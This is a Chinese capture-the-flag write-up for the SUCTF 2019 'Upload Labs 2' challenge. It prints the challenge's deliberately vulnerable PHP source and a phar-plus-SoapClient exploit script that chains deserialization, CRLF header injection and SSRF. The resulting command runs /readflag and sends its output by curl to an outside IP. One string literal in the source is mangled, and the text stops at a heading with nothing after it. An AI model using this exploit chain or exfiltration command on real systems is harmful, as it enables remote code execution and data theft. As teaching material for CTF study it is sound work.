[SUCTF 2019]Upload Labs 2 phar+Soapclient结合

0x01 源码

// admin.php

include 'config.php';

class Ad{

    public $cmd;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->cmd = $cmd;

        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        system($this->cmd);
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $cmd = $_POST['cmd'];

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

// func.php

include 'class.php';
if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "
Your file type is '$file' 
";
    }
}
?>

// class.php

include 'config.php';

class File{

    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}

class Check{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, ") !== FALSE) {
            die("<? in contents!");
        }
    }
}

0X02 题目分析

首先是题目中我们获取flag的位置在admin.php中的__destruct
但是要实例化admin.php中的Ad类，必须是127.0.0.1登录，所以我们必须找到ssrf的利用点~~
我们看到class.php中的__wakeup()，可以实例化任意类，所以我们要找到发序列化的点~~，在func.php中我们知道，当我们查看我们的上传文件时，会调用getMIME，而finfo_open也会触发phar反序列化~~




所以我们的攻击流程也大致清楚了~~
我们首先上传phar文件，然后反序列化，这样就能调用class.php中的__wakeup，这个时候我们再实例化Soapclient类，这样就能ssrf访问admin.php，而且就能调用admin.php中的__destruct中的系统命令了~~

payload:

$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt','text');
$phar->setStub('');

class File {
    public $file_name = "";
    public $func = "SoapClient";

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name  = [
            null,
            array('location' => $target,
                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                  'uri'=>'hello')
        ];
    }
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

这儿的filename为一个数组，和之前的实例化Soapclient类不一样，这个结合上文的代码稍微理解一下就行了，因为这儿的实例化是通过进行的

  $class = new ReflectionClass($this->func);
  $a = $class->newInstanceArgs($this->file_name);

这儿再贴一下出题人的出题笔记~~，其实admin.php中的__destruct应该是__wakeup的，主要是考察

出题笔记